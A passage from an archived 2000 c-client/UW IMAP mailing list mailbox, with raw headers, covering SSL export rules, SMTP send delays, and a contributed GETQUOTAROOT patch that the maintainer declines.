technical term in the law, or > an editorial comment on same? What is it in particular about the SSL > distribution or c-client that prohibits the distribution? A pointer to > a URL on the policy/law, or something specific to plug into google, > would be wonderful. > > Thanks, > > -KwM- > > > On Fri, 4 Feb 2000, Terry Gray wrote: > > Date: Fri, 4 Feb 2000 11:54:31 -0800 (Pacific Standard Time) > > From: Terry Gray > > To: Karsten Ballueder > > Cc: c-client > > Subject: Re: c-client and SSL now possible to release? > > > > We are definitely looking at this, and are hopeful, but don't have an > > answer for you yet. > > > > Stay tuned! > > > > -teg > > > > On Fri, 4 Feb 2000, Karsten Ballueder wrote: > > > > > If I understand the recent changes in US legislation, you > > > are now allowed to distribute your SSL patches and > > > c-client/imap source together. > > > > > > Do you have any plans for this? > > > -- > > > Karsten Ballüder http://Ballueder.home.dhs.org/ mailto:karsten@phy.hw.ac.uk > > > Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotland > > > Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136 > > > "In a world without fences, who needs Gates?" > > > > > > > > > > > > -- > > > ------------------------------------------------------------------ > > > For information about this mailing list, and its archives, see: > > > http://www.washington.edu/imap/c-client-list.html > > > ------------------------------------------------------------------ > > > > > > > > > > > -- > Kevin W. Mullet Network Security and Performance > E-Mail: kwm@unt.edu Data Communications > Voice: 1.940.565.4742 Computing Center > FAX: 1.940.565.4060 University of North Texas > TDD: 1.800.735.2989 PO Box 305398 > ICQ: 11173876 Denton, TX 76203-5398 > http://kwm.unt.edu/ > Caveat: Nothing in this message is any entity's official opinion. > "Never anthropomorphize computers; they hate that." > > From pinedev@shivax2.cac.washington.edu Sun Apr 2 12:59:26 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Apr 2000 12:59:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA00272 for ; Sun, 2 Apr 2000 12:59:24 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA23477; Sun, 2 Apr 2000 12:59:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA00802; Sun, 2 Apr 2000 12:58:41 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA17018 for ; Sun, 2 Apr 2000 12:56:53 -0700 Received: from spdmgaad.compuserve.com (ds-img-4.compuserve.com [149.174.206.137]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA04268 for ; Sun, 2 Apr 2000 12:56:52 -0700 Received: (from mailgate@localhost) by spdmgaad.compuserve.com (8.9.3/8.9.3/SUN-1.9) id PAA04921 for c-client@u.washington.edu; Sun, 2 Apr 2000 15:53:27 -0400 (EDT) Message-Id: <200004021553_MC2-9F90-68B5@compuserve.com> Date: Sun, 2 Apr 2000 15:52:56 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Brenda G. Spielman" To: c-client Subject: send mail timing MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline X-Sender: "Brenda G. Spielman" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We have an application using the c-client library to send messages via SM= TP under heavy load. (version 4.7a) We have observed that most of the tim= e during the send is between sending the '.' for end the data to the server and receiving the 250 response from the Server. Currently the only open/send option being used is to turn debug on. = (Which seems to have no effect on the . to 250 timing.) = Could anyone suggest some combination of IMAP open options which could minimize this delay on = the server side? = The SMTP host being used by the application is also the location of the mailboxes which are being sent email. We will be required to work with server different SMTP Servers. = Thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Apr 3 05:07:41 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Apr 2000 05:06:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA26345 for ; Mon, 3 Apr 2000 05:06:13 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA04910; Mon, 3 Apr 2000 05:05:17 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id FAA17566; Mon, 3 Apr 2000 05:03:11 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id EAA52044 for ; Mon, 3 Apr 2000 04:59:30 -0700 Received: from richard.eu.org (dialup220.vln.takas.lt [212.59.14.228]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA22829 for ; Mon, 3 Apr 2000 04:58:03 -0700 Received: (from rch@localhost) by richard.eu.org (8.10.0.Beta6/8.10.0.Beta6) id e33BLkd16228; Mon, 3 Apr 2000 13:21:46 +0200 (CEST) Message-Id: <20000403132145.A14889@richard.eu.org> Date: Mon, 3 Apr 2000 13:21:45 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?UTF-8?B?UmnEjWFyZGFzIMSMZXBhcw==?= To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: GETQUOTAROOT In-Reply-To: ; from MRC@CAC.Washington.EDU on Mon, Mar 27, 2000 at 08:25:44PM -0800 References: <20000320121436.B3403@richard.eu.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="24zk1gE8NUlDmwG9" X-OS: FreeBSD 4.0-CURRENT i386 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --24zk1gE8NUlDmwG9 Content-Type: multipart/mixed; boundary="h31gzZEtNLTqOjlF" --h31gzZEtNLTqOjlF Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On Mon Mar 27 20:25:44 2000 -0800 Mark Crispin wrote: > On Mon, 20 Mar 2000 12:14:36 +0200, =3D?UTF-8?B?UmnEjWFyZGFzIMSMZXBhcw=3D= =3D?=3D > wrote: > > Is it possible to run GETQUOTAROOT with c-client somehow? >=20 > RFC 2087 is not implemented in c-client. >=20 > It's pretty meaningless in the UNIX environment, as it describes a quota > system that has little in common with UNIX quotas. Hmm, sometimes it works on Unix. Anyway here are patches attached in case somebody else will need that. --=20 Ri=C4=8Dardas =C4=8Cepas ~~ ~ --h31gzZEtNLTqOjlF Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="imap-4.7b.patch" Content-Transfer-Encoding: quoted-printable *** imap-4.7b/src/c-client/imap4r1.c.orig Fri Oct 29 06:22:05 1999 --- imap-4.7b/src/c-client/imap4r1.c Mon Apr 3 12:44:45 2000 *************** *** 142,147 **** --- 142,165 ---- imap_send (((MAILSTREAM *) value),"NAMESPACE",NIL); value =3D (void *) &((IMAPLOCAL *) ((MAILSTREAM *) value)->local)->na= mespace; break; + case GET_QUOTAROOT_SET_INBOX: + if (((IMAPLOCAL *) ((MAILSTREAM *) value)->local)->use_quota ) { + if (!((IMAPLOCAL *) ((MAILSTREAM *) value)->local)->quota_inbox_set= ) { + imap_send (((MAILSTREAM *) value),"GETQUOTAROOT INBOX",NIL); + } + value =3D (void *) ((IMAPLOCAL *) ((MAILSTREAM *) value)->local)->q= uota_inbox_set; + } else { + value =3D NIL; + } + break; + case GET_QUOTAROOT_USED_INBOX: + if (((IMAPLOCAL *) ((MAILSTREAM *) value)->local)->use_quota ) { + imap_send (((MAILSTREAM *) value),"GETQUOTAROOT INBOX",NIL); + value =3D (void *) ((IMAPLOCAL *) ((MAILSTREAM *) value)->local)->q= uota_inbox_used; + } else { + value =3D NIL; + } + break; case GET_THREADERS: value =3D (void *) ((IMAPLOCAL *) ((MAILSTREAM *) value)->local)->thr= eader; break; *************** *** 2740,2745 **** --- 2758,2776 ---- } else mm_log ("Missing namespace list",WARN); } + else if (!strcmp (reply->key,"QUOTAROOT")) { + /* ignore for now */ + } + else if (!strcmp (reply->key,"QUOTA")) { + if (s =3D reply->text) { /* parse GETQUOTAROOT INBOX results */ + imap_parse_quota (stream,&s); + if (s && *s) { + sprintf (LOCAL->tmp,"Junk after quota data: %.80s",s); + mm_log (LOCAL->tmp,WARN); + } + } + else mm_log ("Missing quota data",WARN); + } else if (!strcmp (reply->key,"SORT")) { sortresults_t sr =3D (sortresults_t) mail_parameters (NIL,GET_SORTRESULTS,NIL); *************** *** 2897,2902 **** --- 2928,2934 ---- else if (!strcmp (t,"NAMESPACE")) LOCAL->use_namespace =3D T; else if (!strcmp (t,"MAILBOX-REFERRALS")) LOCAL->use_mbx_ref =3D T; else if (!strcmp (t,"LOGIN-REFERRALS")) LOCAL->use_log_ref =3D T; + else if (!strcmp (t,"QUOTA")) LOCAL->use_quota =3D T; else if (!strcmp (t,"SCAN")) LOCAL->use_scan =3D T; else if (!strncmp (t,"SORT",4)) LOCAL->use_sort =3D T; else if (!strncmp (t,"THREAD=3D",7)) { *************** *** 3071,3076 **** --- 3103,3139 ---- } } return ret; + } + =0C + /* Parse a quota response + * Accepts: current text pointer + * Returns: storage quota list, text pointer updated + */ +=20 + void *imap_parse_quota (MAILSTREAM *stream,char **txtptr) + { + /* * QUOTA user.rchrch (STORAGE 217 250) */ + char *t; + unsigned long quota_inbox_set,quota_inbox_used; + if (!( + (strtok(*txtptr, " ")) &&=20 + (t=3Dstrtok(NULL, "( ")) && !strcmp(t, "STORAGE") + && (t=3Dstrtok(NULL, "() ")) && ((quota_inbox_used=3Dstrtoul(t,&t,10)) |= | *t =3D=3D '\0') + && (t=3Dstrtok(NULL, "() ")) && ((quota_inbox_set =3Dstrtoul(t,&t,10)) |= | *t =3D=3D '\0') + )) { + sprintf (LOCAL->tmp,"Not a quota: %.80s",*txtptr); + mm_log (LOCAL->tmp,WARN); + *txtptr =3D NIL; /* stop parse now */ + } else { + LOCAL->quota_inbox_used =3D quota_inbox_used; + LOCAL->quota_inbox_set =3D quota_inbox_set; + /*if (stream->debug) { + sprintf (LOCAL->tmp,"Parsed quota: used is %lu, set is %lu",quota_i= nbox_used,quota_inbox_set); + mm_dlog (LOCAL->tmp); + }*/ + while (**txtptr) ++*txtptr; + } +=20 } =0C /* Parse a thread node list *** imap-4.7b/src/c-client/imap4r1.h.orig Tue Jul 27 22:09:32 1999 --- imap-4.7b/src/c-client/imap4r1.h Tue Mar 28 21:10:49 2000 *************** *** 76,87 **** --- 76,90 ---- unsigned int use_namespace :1;/* server has NAMESPACE */ unsigned int use_mbx_ref : 1; /* server has mailbox referrals */ unsigned int use_log_ref : 1; /* server has login referrals */ + unsigned int use_quota :1; /* server has QUOTA */ unsigned int use_scan : 1; /* server has SCAN */ unsigned int use_sort : 1; /* server has SORT */ unsigned int use_authanon : 1;/* server has anonymous authentication */ unsigned int uidsearch : 1; /* UID searching */ unsigned int byeseen : 1; /* saw a BYE response */ unsigned int use_auth : MAXAUTHENTICATORS; + unsigned long quota_inbox_used; /* quota for INBOX */ + unsigned long quota_inbox_set; /* quota for INBOX */ unsigned long sortsize; /* sort return data size */ unsigned long *sortdata; /* sort return data */ NAMESPACE **namespace; /* namespace return data */ *************** *** 237,242 **** --- 240,246 ---- void imap_parse_response (MAILSTREAM *stream,char *text,long errflg,long = ntfy); NAMESPACE *imap_parse_namespace (MAILSTREAM *stream,char **txtptr, IMAPPARSEDREPLY *reply); + void *imap_parse_quota (MAILSTREAM *stream,char **txtptr); THREADNODE *imap_parse_thread (char **txtptr); void imap_parse_header (MAILSTREAM *stream,ENVELOPE **env,SIZEDTEXT *hdr, STRINGLIST *stl); *** imap-4.7b/src/c-client/mail.c.orig Tue Nov 2 01:17:26 1999 --- imap-4.7b/src/c-client/mail.c Thu Mar 30 11:39:54 2000 *************** *** 271,276 **** --- 271,281 ---- (*stream->dtb->parameters) (function,stream) : env_parameters (function,stream); break; + case GET_QUOTAROOT_USED_INBOX: + case GET_QUOTAROOT_SET_INBOX: + ret =3D (stream && stream->dtb) ? + (*stream->dtb->parameters) (function,stream) : 0; + break; case SET_DRIVERS: fatal ("SET_DRIVERS not permitted"); case GET_DRIVERS: *** imap-4.7b/src/c-client/mail.h.orig Tue Nov 2 01:14:42 1999 --- imap-4.7b/src/c-client/mail.h Tue Mar 28 19:55:18 2000 *************** *** 104,109 **** --- 104,111 ---- #define SET_THREADERS (long) 114 #define GET_NAMESPACE (long) 115 #define SET_NAMESPACE (long) 116 + #define GET_QUOTAROOT_SET_INBOX (long) 1115 + #define GET_QUOTAROOT_USED_INBOX (long) 1116 #define GET_MAILPROXYCOPY (long) 117 #define SET_MAILPROXYCOPY (long) 118 #define GET_SERVICENAME (long) 119 --h31gzZEtNLTqOjlF Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="Mail-Cclient-0.5.patch" *** Mail-Cclient-0.5/Cclient.xs.orig Mon Jun 7 15:50:30 1999 --- Mail-Cclient-0.5/Cclient.xs Thu Mar 30 15:52:02 2000 *************** *** 1183,1188 **** --- 1183,1198 ---- mail_parameters(stream, SET_ANONYMOUSHOME, SvPV(sv, na)); else res_str = mail_parameters(stream, GET_ANONYMOUSHOME, 0); + } else if (strEQ(param, "QUOTAROOT_SET_INBOX")) { + if (sv) + croak("can't set this parameter: %s", param); + else + res_int = (int) mail_parameters(stream, GET_QUOTAROOT_SET_INBOX, 0); + } else if (strEQ(param, "QUOTAROOT_USED_INBOX")) { + if (sv) + croak("can't set this parameter: %s", param); + else + res_int = (int) mail_parameters(stream, GET_QUOTAROOT_USED_INBOX, 0); } else if (strEQ(param, "OPENTIMEOUT")) { if (sv) mail_parameters(stream, SET_OPENTIMEOUT, (void*)SvIV(sv)); --h31gzZEtNLTqOjlF-- --24zk1gE8NUlDmwG9 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use MessageID: qIazvG016rbxUnOeiTGjv8bgbVnF3Fcq iQA/AwUBOOh+l7j15+7mW/OBEQKSLQCeLVEd4TVkFXmX5/uDoVZ/1CGfA4cAoPsd oULchEE+toYKVfZ491u/chXp =E0DQ -----END PGP SIGNATURE----- --24zk1gE8NUlDmwG9-- From pinedev@shivax2.cac.washington.edu Mon Apr 3 05:36:04 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Apr 2000 05:36:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA26534 for ; Mon, 3 Apr 2000 05:36:03 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA05360; Mon, 3 Apr 2000 05:36:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id FAA26036; Mon, 3 Apr 2000 05:35:33 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id FAA29118 for ; Mon, 3 Apr 2000 05:34:08 -0700 Received: from stratus.swi.com.br (IDENT:root@stratus.swi.com.br [200.203.204.140]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA08555 for ; Mon, 3 Apr 2000 05:34:04 -0700 Received: from speedy.swi.com.br (speedy.swi.com.br [200.203.204.150]) by stratus.swi.com.br (8.9.1a/8.8.7) with ESMTP id JAA22883; Mon, 3 Apr 2000 09:36:51 -0300 Message-Id: <200004031236.JAA22883@stratus.swi.com.br> Date: Mon, 3 Apr 2000 09:36:51 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Terry Gray , c-client Subject: Re: c-client and SSL now possible to release? Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > >The "non-discriminatory" refers to the fact that we do not have any >mechanism in place to prevent export of our software to the so-called >forbidden countries. (This has to do with US export laws.) > >We are still trying to find a definitive statement from our government >that the recent proposed relaxation in export rules is going to stick and >that it allows us to put our crypto-related source on an internet server. >(Even if the new rules do apply, there are still constraints. For >example, I'm told that --curiously-- we still can't put binaries with any >crypto code on our servers.) As I remember, some companies use to block SSL code to clients, based on the reverse of the IP address. So, if the reverse wasn't .com, .net, .gov or .edu, the client couldn't download it. Now, AFAIK, you can block just the forbiden countries part. I know that anyone can register a .com domain, but it was acceptable. Or you can upload it to replay.com -Raul Dias From pinedev@shivax2.cac.washington.edu Mon Apr 3 22:07:00 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Apr 2000 22:07:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA11377 for ; Mon, 3 Apr 2000 22:06:58 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA30728; Mon, 3 Apr 2000 22:06:56 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id WAA28891; Mon, 3 Apr 2000 22:06:21 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id WAA56380 for ; Mon, 3 Apr 2000 22:04:00 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA15441 for ; Mon, 3 Apr 2000 22:04:00 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA25504; Mon, 3 Apr 2000 22:04:00 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (allos@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id WAA15983; Mon, 3 Apr 2000 22:03:59 -0700 Message-Id: Date: Mon, 3 Apr 2000 21:56:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Brenda G. Spielman" Cc: c-client Subject: re: send mail timing In-Reply-To: <200004021553_MC2-9F90-68B5@compuserve.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 2 Apr 2000 15:52:56 -0400, Brenda G. Spielman wrote: > We have observed that most of the time during > the send is between sending the '.' for end the data to the server and > receiving the 250 response from the Server. This delay is entirely in the SMTP server. The SMTP client (c-client in this case) is required to wait for the 250 response before considering the message as being successfully delivered. I doubt that there is any change in c-client that could be made that would in any way affect the delay in the SMTP server. From pinedev@shivax2.cac.washington.edu Tue Apr 4 00:09:12 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Apr 2000 00:09:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA31803 for ; Tue, 4 Apr 2000 00:09:10 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA08383; Tue, 4 Apr 2000 00:09:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id AAA12068; Tue, 4 Apr 2000 00:08:25 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id AAA23430 for ; Tue, 4 Apr 2000 00:01:15 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA17463 for ; Tue, 4 Apr 2000 00:01:15 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA31521; Tue, 4 Apr 2000 00:01:14 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (lamarth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id AAA21159; Tue, 4 Apr 2000 00:01:14 -0700 Message-Id: Date: Mon, 3 Apr 2000 23:53:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: =?UTF-8?B?UmnEjWFyZGFzIMSMZXBhcw==?= Cc: c-client@u.washington.edu Subject: Re: GETQUOTAROOT In-Reply-To: <20000403132145.A14889@richard.eu.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello - Thank you for your suggestion for implementing QUOTA support in the IMAP client code of c-client. Unfortunately, the IMAP client code is the easy part; as you discovered it's just a matter of babbling the right command and getting a response. However, what most people are concerned about is the support in the IMAP server, which means quota support in the various local file drivers. That's much harder, since that involves interacting with UNIX quotas. I do not want to implement QUOTA support that is only in the IMAP client code and is an incomplete implementation of the QUOTA specification. -- Mark -- From pinedev@shivax2.cac.washington.edu Tue Apr 4 09:57:05 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Apr 2000 09:57:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA25143 for ; Tue, 4 Apr 2000 09:57:04 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA20267; Tue, 4 Apr 2000 09:57:01 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA23357; Tue, 4 Apr 2000 09:54:55 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA43340 for ; Tue, 4 Apr 2000 09:50:58 -0700 Received: from security.unt.edu (nec.unt.edu [129.120.210.4]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA32643 for ; Tue, 4 Apr 2000 09:50:55 -0700 Received: from antiluddite-56.nms.unt.edu (antiluddite-56.nms.unt.edu [129.120.56.20]) by security.unt.edu (8.8.8/8.8.8) with ESMTP id LAA11943; Tue, 4 Apr 2000 11:51:23 -0500 (CDT) Message-Id: <1366293668.954849033@antiluddite-56.nms.unt.edu> Date: Tue, 04 Apr 2000 11:50:33 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kevin W. Mullet" To: c-client Subject: re: send mail timing In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-FYI: The domain kwm.net is now defunct. Use themullets.net instead. X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN To followup on this, I suspect that the way to eliminate your delay would be to configure the sendmail process receiving the c-client connection to have a delivery mode of "queue only" instead of "deliver in background". Background delivery requires the sendmail process to expand all aliases and .forwards (for both local and remote addresses, I believe) before it can send the 250 message. If your sendmail MTA is configured to work in queue-only mode, you'll have to ensure that you've got a separate deliver process either running constantly, or fired off every now and then through cron, or you mail just won't deliver your mail. Running this way will let you dump mail into your queue a lot faster, though, at the cost of some immediacy of delivery. -KwM- --On Monday, April 03, 2000 9:56 PM -0700 Mark Crispin wrote: > On Sun, 2 Apr 2000 15:52:56 -0400, Brenda G. Spielman wrote: >> We have observed that most of the time during >> the send is between sending the '.' for end the data to the server >> and receiving the 250 response from the Server. > > This delay is entirely in the SMTP server. The SMTP client > (c-client in this case) is required to wait for the 250 response > before considering the message as being successfully delivered. I > doubt that there is any change in c-client that could be made that > would in any way affect the delay in the SMTP server. -- Kevin W. Mullet University of North Texas E-Mail: kwm@unt.edu Caveat: Nothing in this message is any entity's official opinion. "Never anthropomorphize computers; they hate that." From pinedev@shivax2.cac.washington.edu Sun Apr 9 07:57:06 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 9 Apr 2000 07:57:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA15399 for ; Sun, 9 Apr 2000 07:57:04 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA27892; Sun, 9 Apr 2000 07:57:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id HAA15802; Sun, 9 Apr 2000 07:56:25 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id HAA13866 for ; Sun, 9 Apr 2000 07:53:34 -0700 Received: from security.unt.edu (nec.unt.edu [129.120.210.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA00401 for ; Sun, 9 Apr 2000 07:53:33 -0700 Received: from KEVINMUL (rooster.themullets.net [209.223.13.243]) by security.unt.edu (8.8.8/8.8.8) with ESMTP id JAA23620 for ; Sun, 9 Apr 2000 09:54:07 -0500 (CDT) Message-Id: <1791252388.955273992@KEVINMUL> Date: Sun, 09 Apr 2000 09:53:12 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kevin W. Mullet" To: c-client Subject: UW IMAP installation base and history In-Reply-To: <200004021553_MC2-9F90-68B5@compuserve.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-FYI: The domain kwm.net is now defunct. Use themullets.net instead. X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does anyone have an idea of what the installed base of UW IMAP is? What operating systems include UW IMAP by default? Also, docs/internal.txt gives an overview of some of the history of c-client, but what of UW IMAPd in particular? Could Mark C. or someone followup with an outline of how long imapd's been part of the c-client distribution, and a little bit about its history? Thanks, -KwM- --- Kevin Mullet University of North Texas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Apr 9 10:57:54 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Sun, 9 Apr 2000 10:57:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA18554 for ; Sun, 9 Apr 2000 10:57:53 -0700 (PDT) Received: from 